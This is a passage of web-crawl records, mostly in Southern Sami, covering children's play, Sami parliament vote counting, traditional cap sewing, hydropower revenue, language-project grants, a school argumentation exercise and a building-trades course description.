daelie.\nStååkedimmie-gaevnieh\nUtnedh dan soe jïjnjh stååkedimmie-gaevnieh jïh jïjtje tjåenieh guktie mijjieh daelie utnebe lij ovsïejhme. 1900-låhkoen mietie lea jeananamme. Dïhte eejnegen joekehts orreme dan mietie man ræjhkoes fuelhkie lij. Fuelhkine gusnie jïjnjh beetnegh dellie maanah åtneme jienebh jïh jienebh sjïere stååkedimmie-gaevnieh.\n1800-låhkoen mietie jïh dan åvteli jeenjemesh darjoejin jeenjemes aath maam daarpesjin. Aaj stååkedimmie-gaevnieh. Naan geerve almetje jallh åerpenh meehtin kluhtierdin stååkedimmie-gaevniem unnebe maanide.\nNils\nNils saakesne barka govhte biejjieh våhkosne. Aejlegen eejehte jïh dellie dorje dam maam lyjhkoe darjodh. Daelvege lyjhkoe jïengesne spijngedh sov jïjtjedorjeme spijngemegaamegigujmie. Giesien dellie dïhte jïh sov voelph lyjhkoeh laavkodh.\nMark\nMark sov tïjjem juaka skuvlen jïh åesiestimmiebovren gaskem. Dïhte stååkede mubpiej maanajgujmie geajnosne gosse maahta.\nMaria\nMaria astoem åtna. Dan gaavhtan dïhte nööremes åerpienijstie jïh ij daarpesjh viehkiehtidh dan jïjnje gaertienisnie. Men gujht åtna barkoem maam tjuara skuvlen baalte darjodh. Maria aaj lïereminie pianoem spïeledh.\nElin\nAadtjen Elin eelki goh butnemesjovne gaertienisnie. Hævvi såemies aejkien mubpiej maanajgujmie gaertienisnie stååkede, mohte ij ennje tryjjedh. Dïhte sov gåetiem ohtsele.\nTheresia\nTheresian biejjieh leah jeerehte dan gaavhtan sov fuelhkie dan soe jïjnje juhtieh. Såemies aejkien barkoes jïh såemies aejkien barkohts. Dïhte væjkeles aelkeste stååkedimmieh stååkedidh jïh gaajhkh maehtieh meatan årrodh.\nLars-Anders\nLars-Anders'en biejjieh dellie dïhte geerve almetjidie dåerede jïh viehkehte gusnie maahta, ij dej uvte årroeh jïh darjomi gaskem dïhte stååkede.","id":"","dump":"CC-MAIN-2022-05","url":"http:\/\/nolavonda.se\/sma\/eejehtimmie","date":"2022-01-25T22:32:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320304876.16\/warc\/CC-MAIN-20220125220353-20220126010353-00460.warc.gz","language":"sma","language_score":0.9999980927,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999980926513672}","num_words":505,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.069,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Published: 23 November 2020\nTjaatsestimmieh ryöknedh jïh veeljemeilleldahke\nDaesnie åadtjoeh vielie daejredh guktie tjaatsestimmieryöknemem tjïrrehte jïh guktie veeljemeilleldahkem buakta veeljemisnie Saemiedægkan.\nLeeneståvroe Norrbottenisnie tjaatsestimmieryöknemem aalka måantan våhkoen veeljemen mænngan.\nVeeljemisnie Saemiedægkan 2021 aalka tjaatsestimmieh ryöknedh suehpeden 24.b. 2021.\nTjaatsestimmieh vuarjasjidh jïh veeljemeskuahpah veeljemelæhtan bïejedh\nLeeneståvroe tjaatsestimmieh vuarjesje. Jis tjaatsestimmieh eensilaakan ryöjredamme dellie tjaatsestimmiem veeljemelæhtan beaja jïh veeljije tjaatsestimmielåhkosne vïhtesje.\nTjaatsestimmieh veeljemesavkijste vuarjasjidh\nTjaatsestimmieryöknijh voestegh tjaatsestimmide veeljemesavkijste vuarjasjieh. Dah rïhpestieh dejtie dåhkasjahteme bæjngoldsskuahpide jïh vaeltieh veeljemeskuahpide destie.\nJis veeljemeskuahpa eensilaakan öörneme tjaatsestimmieryöknije dam veeljemelæhtan beaja jïh veeljije tjaatsestimmielåhkosne vïhtesje.\nBæjngoldsskuahpesne, mij aaj tjaatsestimmiekåarhte, veeljijen nommem tjaaleme. Gosse tjaatsestimmieryöknije veeljemeskuahpam veeljemelæhtan beaja dellie nomme tjaatsestimmeste juaka jïh dan vuekien mietie veeljijen veeljemetjeakoesvoete aajmene.\nPrievietjaatsestimmieh vuarjasjidh\nGosse tjaatsestimmieryöknijh leah gaajhkh veeljemesavkatjaatsestimmide vuarjasjamme, dah prievietjaatsestimmide vuarjasjieh jïh vaaksjoeh dah leah ryöjredamme eensilaakan.\nTjaatsestimmieryöknijh vaaksjoeh veeljije ij leah tjaatsestimmielåhkosne vïhtesjamme.\nJis veeljije joe tjaatsestimmielåhkosne vïhtesjamme sæjhta jiehtedh veeljije lea veeljemesavkesne tjaatsestamme. Dellie prievietjaatsestimmie luhpehts jïh eah dam læhtan bïejh.\nVeeljemelihtiem döömie jïh veeljemesïetelh ryöknedh\nMænngan leeneståvroe lea tjaatsestimmieh vuarjasjamme jïh dåhkasjahteme veeljemeskuahpah veeljemelæhtan beajeme dah veeljemelihtiem döömieh. Tjaatsestimmieryöknijh veeljemeskuahpide rïhpestieh jïh vaeltieh veeljemesïetelidie dejstie.\nVoestegh dah ryöknoeh veeljemesïetelidie fïerhtide dåehkide, krirride jallh plearoeh aktanimmide. Dan mænngan ryöknoeh persovnetjaatsestimmide fïerhte kandidaatese.\nLeeneståvroe veeljemesïetelidie vuarjesje\nNaemhtie Leeneståvroe veeljemesïetelidie vuarjesje:\n- Jis veeljije kroessem vadta göökte jallh jienebh kandidaatide - dellie tjaatsestimmie krærran, men ij persovnetjaatsestimmie.\n- Jis veeljije göökte jallh jienebh veeljemesïetelh krærran aktene veeljemeskuahpesne, men ovmessie kandidaatelæstoeh jallh kroessem beajeme ovmessie kandidaatide veeljemesïetelinie – dellie sjædta tjaatsestimmie krærran men ij persovnetjaatsestimmie.\n- Jis veeljije sleajhta jallh kandidaaten nommem lissehte – ij leeneståvroe dam krööhkesth.\nVeeljemesïetelh mah luhpehts\nVeeljemesïetleh leah luhpehts jis dah:\n- Ij leah tjaaleme naan krirrien nommem veeljemesïetelisnie.\n- Veeljemesïetele jienebe goh akte krirrienomme jallh jienebh veeljemesïetelh ovmessie krirrijste aktene veeljemeskuahpesne.\n- Veeljemesïetele væhtam åtna maam vååjnoes sjïere sjïekine dorjeme, vuesiehtimmien gaavhtan dïsse tjaaleme gie lea tjaatsestamme.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/www.val.se\/val-och-folkomrostningar\/saemiedigkie-sydsamiska\/tjaatsestimmieh-ryoknedh-jih-veeljemeilleldahke\/tjaatsestimmieh-ryoknedh-jih-veeljemeilleldahke.html","date":"2022-01-29T09:42:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320304883.8\/warc\/CC-MAIN-20220129092458-20220129122458-00536.warc.gz","language":"sma","language_score":0.9999696016,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"sma_Latn_score\": 0.9999696016311646}","num_words":290,"character_repetition_ratio":0.157,"word_repetition_ratio":0.0,"special_characters_ratio":0.117,"stopwords_ratio":0.079,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Boka gir et kort historisk innblikk om den tradisjonelle sørsamiske lua, og hvordan man syr en kvinne- og mannslue med materialvalg, mønsterlaging og sying steg-for-steg.\nBoka er skrevet for elever på videregåendetrinn, men passer også for andre som er interessert i å lære å sy tjohpe, en sørsamisk lue. Sørsamisk tekst.\nTjohpe lea vihkelis aesnie åarjelsaemien gaptese. Gaejhkh dovnes, gaarmanæjja, nyjsenæjja jih maana tjohpem nuhtijieh. Gærjesne vuesiehte maam tjohpese daarpesje, guktie möölegem vaeltedh, guktie vïjjedh jïh tjohpem gåarodh. Annetje tjaaleme ovmessie årjelsaemien tjohpij bïjre. Tjohp åarjelsaepmesne duedtiegærja lea learovierhtie jåarhkeskuvlese, aaj viehkine jeatjabidie gïeh sæjhta tjohpem lïeredh gåarodh.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/samiskbibliotektjeneste.tromsfylke.no\/2022\/01\/10\/unni-steinfjell-tjohp-aarjelsaepmesne\/","date":"2022-05-16T11:23:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662510117.12\/warc\/CC-MAIN-20220516104933-20220516134933-00597.warc.gz","language":"sma","language_score":0.9981863499,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9981863498687744}","num_words":98,"character_repetition_ratio":0.017,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.061,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Guktie edtjieh 10 miljard kr juekedh. Tjïelth Noerhte-Trøøndelaagesne tsælloeminie guktie edtjieh daejtie faamoe beetnegidie Noerhte-Trøøndelaagen Elektrisitetsverkesne (NTE) juekedh. Dah nieljie tjielteåejvieh, dah støøremes tjieltine, sijhtieh daejtie faamoebeetnegidie juekedh deej årrojealmetji mietie, dah 13 smaave tjieltiej dam vøøstelieh. Vielie maahta daaroen gïelesne lohkedh. Kjemper om ti milliarder kraftkroner\nDaelie Noerhte Trøøndelaagen fylhketjïeltie dam elektrisitetsverkem eakede. Jis dah Trøøndelaagen fylhketjïelth stoerre fylhketjealtan ektiede, dellie dah tjïelth elektrisitetsverken eakere sjædta. Eah leah ennje dah 23 tjïelth seamadamme guktie edtjieh daejtie faamoe beetnegidie juekedh.\nDah nielje støøremes tjïelth jeenemes årrojealmetji gujmie, Skierde, Stientje, Lievange jih Verdaelien tjïelth sijhtieh daejtie beetnegidie årrojealmetji mietie juekedh.\nLuhkie milljard kr.\nNTE gaaksede støøremes faamoe sïelske Nøørjesne jih daan beetnehbonkesne lea 10 milljard kr.\nFylhkedigkie edjta minngiegeatjan daan bijre nænnoestidh.\nStøøremes tjoepere lea, daate tjaetsiefaamoe båata dah unnebe vaerietjïeltijste gusnie vaenie årrojealmetjh. Jijnjesh tuhtjie ov-riektes sjædta jis edtjieh beetnegidie årrojealmetji mietie juekedh.\nDah Njåamesjen tjïlth moenehtsem veeljeme mij edtja barkedh jih buektiehtidh jeatjah-laakan beetnegidie juekedh. Ij leah dihte rovnegs, gåessie dihte tjaetsie faamoe båata mijjien smaave tjïeltijste, dihte tjïeltenåejvie Namskogansne Stian Brekkvassmoe jeahta.\n– Tjoeveribie eensi laakan ussjedidh olles tsijreme sjidth. Tjoeveribie gaskems raarastalledh jih maam hijven buektiehtidh, Brekkvassmoe NRK se jeahta.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/www.nrk.no\/sapmi\/tsaelloeminie-dah-tjaetsiefaamoe-beetnegi-bijre-1.12773336","date":"2022-05-19T19:25:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662529658.48\/warc\/CC-MAIN-20220519172853-20220519202853-00682.warc.gz","language":"sma","language_score":0.9999207258,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 0.9999207258224487}","num_words":188,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.043,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Harald Gaski lea tjaelije, redaktööre jïh saemien litteratuvren professore Sámi allaskuvlesne jïh saemien kultuvre jïh litteratuvren professore UiT Nöörjen arktihke universiteetesne. Gaski lea gellie learoehgærjah tjaaleme jïh antologijeh redigeereme mah leah dovne saemien, daaroen jïh englaanten gïelesne tjaalasovveme. Harald Gaski lea byögkeles lohkehtæjja jïh håaloje gosse daej aamhtesi bïjre soptsestalledh; Saemien aarvoej jïh aerpiej bïjre, saemien soptsestimmievuekiej jïh retorihken bïjre jïh saemien litteratuvri bïjre mah leah dovne myjhti bïjre jïh daajbaaletje teksti bïjre. Harald Gaskin dotkemesuerkieh leah saemien jïh aalkoeåålmegi estetihke, mohte daej minngemes jaepiej Harald Gaski lea aalkoeåålmehdotkemen teorijes jïh metodologijes tjoelmi\/-jïh dåeriesmoeri sïjse aaj tjarngeme.\nHarald soptseste jïjtse dååjrehtsi bïjre gosse satne saemien njaalmeldh soptsestimmieh edtja paehpierasse tjaeledh. Soptsestimmeste tjaeliemasse ij leah aelhkie kultuvride gusnie dïhte njaalmeldh soptsestimmie iktegisth jarngesne orreme, mohte jis barre baajijibie dam mijjen njaalmeldh soptsestimmievuekiem aaj tjaeliemasse vååjnedh? Daennie soptsestallemisnie Harald båata dovne artihkeltjaelemen jïh learoehvierhtietjaelemen bïjre soptsestidh – dovne gosse oktegh jallh dåehkesne edtja tjaeledh.\nMij biejjide: 18.02.2022\nMennie mïeresne: Ts. 14.00\nGusnie: ONLINE\nJovkesth bearjedskaaffem mijjine ektesne.\nSvaalhtesem daase bïejijibie biejjien åvtelen.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/sijtijarnge.no\/sor\/fra-storytelling-til-skriving\/","date":"2022-07-03T05:07:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104215790.65\/warc\/CC-MAIN-20220703043548-20220703073548-00232.warc.gz","language":"sma","language_score":0.9999799728,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999799728393555}","num_words":167,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.246,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tråanten tjïelte soejkesje dah göökte staaretjïehtjelh, Cicignonen sijjie jïh Elsa Laula Renbergen sijjie mah Tråanten jarngesne, orrestehtedh jïh tjåanghkan bïejedh aktene tjïehtjelinie. Dan åvteste dah saemien tjiehpiedæjjah ohtsedeminie, dam dah sov needtesæjrosne tjaelieh. Åvtelhkvalifiseeremen ulmie saemien tjiehpiedæjjajgujmie govlehtalledh jïh kandidaath gaavnedh gaptjesovveme gaahtjemasse jïh\/jallh ryöktesth stillemasse. Tjeahpoemoenehtse saemien tjiehpiedæjjah ohtsede mah joe aerebe jallh sijhtieh barkedh tjeahpoeprosjektine mah gelkieh ålkone årrodh staaretjïehtjelisnie.\nOhtsememierie lea mïetsken 28b.\n1,3 millijovnh almetjh Nøørjesne ij vientieh almetjh maehtie klijmajorkestimmien jeatjahtehtieh, akte orre EU-rapporte vuesiehtamme. Medtie 12.000 almetjh Nøørjeste, Irlanteste, Italijaste, Tysklanteste jïh Englanteste meatan pryövenassesne man nomme PERITIA.\nProfessore Cathrine Holst jïh dotkije Torbjørn Gundersen tuhtjiejægan rovnege dan gellie Nøørjesne jiejkeminie dan bijre. Gåabpatjahkh pryövenassine barkeminie. Gundersen ij daajra manåvteste dan gellie Nøørjesne jiejkieh, bene daelie dah tjuerieh goerehtidh jïh vuejnedh jis dah maehtieh naan vaestiedassem gaavnedidh.\nBrannvesenet rykket ut til brann i terreng ved Holmvatnet i Nesseby rundt klokken 01:40 natt til søndag. Det skal være et lynnedslag som er årsaken til brannen. Skogbrannhelikopter ble rekvirert og klokken 06:50 jobbes det fortsatt med å slukke brannen.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/www.nrk.no\/sapmi\/bilbrann-i-alta-1.13673614","date":"2022-07-03T14:56:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104244535.68\/warc\/CC-MAIN-20220703134535-20220703164535-00615.warc.gz","language":"sma","language_score":0.9996051192,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.999605119228363}","num_words":169,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.083,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tilskudd til sørsamiske språkprosjekter\nSpråkmidler: Sametinget har overtatt ansvaret for å dele ut tilskuddsmidler for utvikling av det samiske språket. På bildet: Tidligere lærer i samisk, Eli Fjellheim og sametingspresident Aili Keskitalo. Foto: Anne Gundersen\nSametingsrådet gir til sammen 600.000 kroner i tilskudd til to sørsamiske språkprosjekter i Røros.\nPublisert: 22.08.2019 kl 10:37\nPraahken skuvle\/Brekken skole får 300.000 kroner i tilskudd til å etablere og videreutvikle samiskspråklige arenaer hvor samisk brukes aktivt. Dette skal de gjøre ved å gjennomføre tre samiske språk- og kultursamlinger hvert skoleår for elever med tilhørighet til rørossamisk område.\nViktig språkarena\nI samlingene skal det fokuseres på muntlige og praktiske aktiviteter, hvor deltakerne kommuniserer på samisk. Dette er et tillegg til ordinær undervisning i grunnskolen. Gjennom å skape samiskspråklige arenaer hvor sørsamisk brukes aktivt er målsettinga å styrke og øke bruken av sørsamisk språk i Røros-regionen. Tiltakene gjennomføres i samarbeid med Aajege Samisk språk- og kompetansesenter på Røros.\nSametingspresident Aili Keskitalo synes det er viktig med språkarenaer der språk og kultur vitaliseres, bevares og styrkes.\n– Det er spesielt viktig i Røros-regionen, der det sørsamiske språket ikke har noen naturlig arena utenfor offentlige institusjoner, sier Keskitalo.\n«Saamastalledh»\nI tillegg gir sametingsrådet en tilleggsbevilgning på 300.000 kroner til Trøndelag fylkeskommune ved Aajege Samisk språk- og kompetansesenter i Røros til gjennomføring av prosjektet «Saamastalledh», et stort prosjekt hvor seks sørsamiske institusjoner samarbeider.\nMålet her er metodeutvikling i kommunikativ språklæring, utvikling av læringsressurser og å heve kompetansen i metoden for lærere som underviser i samisk språk.\nSametingspresidenten synes det er viktig å støtte opp sørsamiske prosjekter.\n– Spesielt viktig er det at sørsamiske læremidler blir tilgjengelige, at det utarbeides metoder for språkopplæring og at kompetansen blant lærere løftes. Det spesielle i prosjektet «Saamastalledh» er at det er et samarbeid mellom mange sørsamiske institusjoner, sier Keskitalo.\nSAMETINGSRÅDET: Fra venstre Mikkel Eskil Mikkelsen, Berit Marie Eira, Ailo Keskitalo, Silje Karine Muotka og Henrik Olsen Foto: Kenneth Hætta\nDåarjoe åarjelsaemien gïeleprosjektide\nSaemiedigkieraerie tjåanghkan 600 000 kråvnah dåarjojne vadta göökte åarjelsaemien gïeleprosjektide.\nPraahken skuvle\/Brekken skole Rørosesne 300 000 kråvnah dåarjojne åådtje juktie saemiengïeleldh areenah tseegkedh jïh guhkiebasse evtiedidh, jïh gusnie saemien eadtjohkelaakan åtnasuvvieh. Dah edtjieh dam darjodh viehkine golme saemien gïele- jih kultuvregaavnedimmieh tjïrrehtidh fïerhten skuvlejaepien learoehkidie mah ektiedimmiem røros-saemien dajvese utnieh.\nGaavnedimmine njaalmeldh jïh praktihkeles darjomh jarngesne utnieh, gusnie learohkh jïh lohkehtæjjah ektesne saemiestieh. Daate akte lissiehtasse dan sïejhme ööhpehtæmman maadthskuvlesne. Juktie saemiengïeleldh areaanah sjugniedidh gusnie åarjelsaemien eadtjohkelaakan åtnasåvva ulmie lea åtnoem åarjelsaemien gïeleste nænnoestehtedh jïh lissiehtidh Røros-regijovnesne. Praahken skuvle råajvarimmide tjïrrehte Aajege Saemien gïele- jïh maahtoejarngine ektine Rørosesne.\nSaemiedigkiepresidente Aili Keskitalo tuhtjie vihkeles gïele-areenajgujmie, gusnie gïelem jïh kultuvrem jielehte, gorrede jih nænnoestahta.\n– Joekoen vihkeles Røros-regijovnesne, gusnie åarjelsaemien gïele ij naan iemie sijjiem byögkeles institusjovni ålkoli utnieh, Keskitalo jeahta.\n«Saamastalledh»\nLissine saemiedigkieraerie lissiedåarjoem vadta 300 000 kråvnine Trööndelagen fylhkentjïeltese, Aajege saemien gïele- jih maahtoejarngen baaktoe Rørosesne juktie prosjektem «Saamastalledh» tjïrrehtidh, mij akte stoerre prosjekte gusnie govhte åarjelsaemien institusjovnh laavenjostoeh.\nUlmie lea vuekiem evtiedidh kommunikatijve gïelelïeremisnie, evtiedimmie lïeremevierhtijste jïh maahtoem lutnjedh vuekien bïjre lohkehtæjjide mah saemien gielesne ööhpehtieh.\nSaemiedigkiepresidente tuhtjie vihkeles åarjelsaemien prosjekth dåarjoehtidh.\n– Joekoen vihkeles åarjelsaemien learoevierhtieh gååvnesieh, vuekieh dorjesuvvieh gïelelïerehtæmman jïh maahtoe lohkehtæjjaj gaskem læssene. Dïhte sjïere prosjektesne «Saamastalledh» lea daate lea laavenjostoe gelliej åarjelsaemien institusjovni gaskem, Keskitalo jeahta.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/nearadio.no\/tilskudd-til-sorsamiske-sprakprosjekter\/19.22199","date":"2022-07-01T02:42:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103917192.48\/warc\/CC-MAIN-20220701004112-20220701034112-00520.warc.gz","language":"sma","language_score":0.8195613027,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 0.8195613026618958, \"sme_Latn_score\": 0.16318003833293915, \"nob_Latn_score\": 0.015684524551033974}","num_words":515,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.05,"flagged_words_ratio":0.0,"lang_id_score":0.874,"perplexity_score":500.0,"cluster_detection":1} +{"text":"15\/11\/2019 Nils Egil Gaup Kultuvre- jïh gaarsjelimmiestipeende 2019 Saemiedigkieraerie lea aktem kultuvrestipeendem jïh golme gaarsjelimmiestipeendh joekedamme 2019. Daanhtsoetjiehpiedæjja Ánna-Katri Helander kultuvrestipeendem åådtje, jïh treavkavuetjije Amalie Kristine Triumf, turnere Peder Funderud Skogvang jïh jïengehockeyspïelere Tuva Sirin Schall Mikkelsen gaarsjelimmiestipeendh åadtjoeh. You need to be connected to see this content. If you already have a subscription plan, click here to Login Otherwise, you need to purchase a subscription to see the contents. Shop","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/samimag.no\/sma\/saernieh-sma\/kultuvre-jih-gaarsjelimmiestipeende-2019\/","date":"2022-07-01T05:37:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103920118.49\/warc\/CC-MAIN-20220701034437-20220701064437-00759.warc.gz","language":"sma","language_score":0.9290382266,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9290382266044617, \"sme_Latn_score\": 0.05150824412703514}","num_words":68,"character_repetition_ratio":0.102,"word_repetition_ratio":0.0,"special_characters_ratio":0.17,"stopwords_ratio":0.074,"flagged_words_ratio":0.0,"lang_id_score":0.967,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daennie sæjrosne laavenjassh maereles agumeenti jïh veanhtoej bïjre.\n1. laavenjasse\nVuarjesjh jïh buerkesth mejtie argumeenth leah maereles.\nUssjedh datne leah tjirkijinie veeljesovveme aktene barkoe-sijjesne. Datne aadtjen orre barkoe-voelpem åådtjeme jïh sïjhth dam jaehkiehtidh dïhte byöroe jïjtjemse faage-siebrien sïjse tjaeledh.\nGuhte dejstie argumeentijste vuelielisnie datne tuhtjh maereles? Mah argumeenth ih lih sïjhteme nuhtjedh? Buerkesth man åvteste datne numhtie veeljih.\n- Dah mah berkieh tjuerieh ektesne tjåadtjodh juktie hijven barkoe-tsiehkieh åadtjodh.\n- Siebrien åvtehke dan vietseles.\n- Faage-siebrie maahta datnem viehkiehtidh dastegh datne tjoerh barkoem laehpedh bielelen eensi fåantoeh.\n- Mahte gaajhkesh barkoe-sijjesne leah lïhtseginie faage-siebresne. Faage-siebrie lïerehtimmine gïehtele.\n- Jis ibie faage-siebriem åtneme idtjimh gåessie gænnah limh sïjhteme dejtie reaktide barkoe-jieliedisnie åadtjodh goh mijjieh daan biejjien utnebe.\n- Datne giesemem åadtjoeh faagesiebrie-maaksoen åvteste jïjtse-bïevnesisnie.\n2. laavenjasse\nSualadimmie jallh åajaldimmie?\nLohkh plaerie-tjaalegem Golmen jaepien båeries maana \"soeleh-eekem\" byöpmedi vuelielisnie.\n- Buerkesth åenehkslaakan jïh objeketijvelaakan heannadimmiem mij ovvaantoem sjugniedamme.\n- Mij lea åesiestæjjan veanhtoe, jïh mah argumeenth dïhte nuhtjie?\n- Maam åestije aamhtesen bïjre meala, jïh mah argumeenth dïhte nuhtjie goh sov vaarjelimmie?\n- Guktie datne lih sïjhteme dööpmedh dastegh datne lih meatan ovvaantoe-raeresne? Tjaelieh aktem tjaalegem mij edtja akte jallh akte jïh bielie sæjroe årrodh gusnie aamhtesem åehpiedahtah jïh dov dåapmoem buerkesth.\nGolmen jaepien båeries maana \"soeleh-eekem\" byöpmedi\nGolmen jaepien båeries Silje aktem gååhketjem tjidtjebistie Lisbeth åadtjoeji jïh dam byöpmedi mearan ligan bovresne. Bovren ålkolen tjidtjebem stïsserdehtin jïh dam bovre-soeleginie gåhtjoejin. Dïhte gidtjh åajaldamme gååhketjen åvteste maeksedh.\nGosse ligan bovresne åesesteminie, Silje aktem gååhketjem åadtjoeji juktie soelkedidh. Gosse tjidtjebe Lisbeth kassan gåajkoe bööti vaaroejgujmie 800 kråvnaj åvteste, åajaldi nïejtebe lij abpe gååhketjem byöpmedamme. Bovren ålkolen akte bovre-gïehtjedæjja dejtie stïsserdehti jïh dah guaktah tjoerigan kontovrese dåeriedidh. Daelie tjidtjebe edtja bovre-aajhterinie Ovvaantoe-raeresne gaavnesjidh gååhketjen gaavhtan man åasa gaektsie kråvnah. Lisbeth Sandefjorden Plaaran jeahta satne ij gåessie gænnah sïjhth dan bovrese vielie mïnnedh.\nLisbethen sirrieh buelieh gïetedimmeste dovne bovresne jïh mænngan. Ij sån aktem gååhketjem sualedh man åasa luhkiegöökte kråvnah, gosse seamma tijjen åeseste stoerretjuetie kråvnaj åvteste, jeahta jïh ij guarkah man åvteste åesiestæjja aamhtesem vaaksjoste gosse dallah doh gaektsie kråvnah meeksi mah fååtesin mænngan bovren kontovresne orreme. Doh minngemes luhkie jaepieh maanagierte-klahke Lisbeth daennie bovresne åesiestamme, jïh ovrehte 500 000 - 600 000 kråvnah desnie laahpeme.\nÅesiestæjja Reidar plaaran jeahta åestije dïhte, jïh ij bovre, mij yöjtede dorjeme.\n- Mijjese gaajhkh sualadimmie-aamhtesh seamma-plieres, jeahta. Aarebi pollisese bæjkoehti men daelie gaajhkh aamhtesh ovvaantoe-raaran seedtie. - Manne sïjhtem råakedh dejtie mah mov bovrine sualadieh, ååredæjja ååredæjjese, dïhte Sandefjorden Plaaran jeahta. Ij sïjhth stadtjasjidh, jeahta, men sæjhta læjhkan Lisbethen bijjiedimmiem laejhtedh. - Maanah tjuerieh lïeredh gïeh vaarojde bovrine eekieh. Daan aejkien maana maam akt åådtjeme bielelen tjidtjebe maakseme. Eah maanah nuekies lïerh moralen bïjre, bovre-aajhtere meala.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ndla.no\/subject:1:b8a448f0-e251-41ea-af1c-b2fd62a89828\/topic:6:172880\/topic:6:182050\/resource:1:173057","date":"2022-07-01T01:40:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103917192.48\/warc\/CC-MAIN-20220701004112-20220701034112-00335.warc.gz","language":"sma","language_score":1.0000025034,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"sma_Latn_score\": 1.0000025033950806}","num_words":418,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.074,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Datne lïerh\n- produksjovne jïh tseegkeme orre gåetijste jïh tseegkeldahkijste\n- jeatjahtehteme jïh gorredimmie gåetijste jïh tseegkeldahkijste\n- klijman jïh teknologijen bïjre\n- åtnoen bïjre guvvijste, buerkiestimmijste jïh ryöknedimmijste\n- kvaliteeten jïh jearsoesvoeten bïjre\n- daajroem ïebni bïjre\nDatne byörh\n- praktihkeles årrodh jïh væjkele årrodh gïetigujmie\n- jïjtjeraarehke jïh veele\n- væjkele årrodh laavenjostedh\nDatne maahtah sjïdtedh\n- geajnoe- jïh tseegkeldahkefaagebarkije jallh asfaltööre\n- tseegkeldahkegartnere jallh tseegkeldahkemaasjinavuejije\n- måaladæjja, movresjæjja, kluhtierdæjja jallh rööjrebïejije\n- stillasebigkije, taahtjoebïejije jallh pleehkebarkije\n- moerekluhtierdæjja jallh klaasefaagebarkije\nVuartesjh gaajhkh barkoeh jïh maahtoeh\nBarkoesijjieh\n- byögkeles jallh privaate gïehtelimmie\n- stuerebe jallh unnebe vætnoesïelth\n- industrije- jallh entreprenööresïelth\nGuhkiebasse ööhpehtimmie\nBarkoefaageles lïerehtimmie barkoemaahtoem ulmine åtna (faage- jallh svenneprievine jallh namhtah). Barkoefaageles lïerehtimmiem mænngan maahtah barkosne aelkedh jallh guhkiebasse ööhpehtimmiem vaeltedh:\n- Maahtah jåarhkeööhpehtimmiem vaeltedh faageskuvlesne. Faageskuvleööhpehtimmie lea åenehks jïh barkoestuvreme jåarhkeööhpehtimmie mij lea ussjedamme dejtie mah barkoefaagem vaadtseme.\n- Maahtah Jåa3 lissiebigkemem sïejhme studijemaahtose vaeltedh\n– Jåa 2:n mænngan jallh\n– mænngan barkoemaahtoem jakseme.\nDellie nuepiem åtnah jollebe ööhpehtimmiem vaeltedh jïlleskuvlesne jallh universiteetesne. Mujhtieh såemies studijh, v.g. insjenööre-, realfaage- jïh medisijnen studijh, krievieh dov leah vihties realfaagh.\n- Maahtah aaj tsaekemem ohtsedh jollebe ööhpehtæmman åvtekuvsjen mænngan B-geajnoen tjïrrh, barkoefaageles geajnoe jollebe ööhpehtæmman. 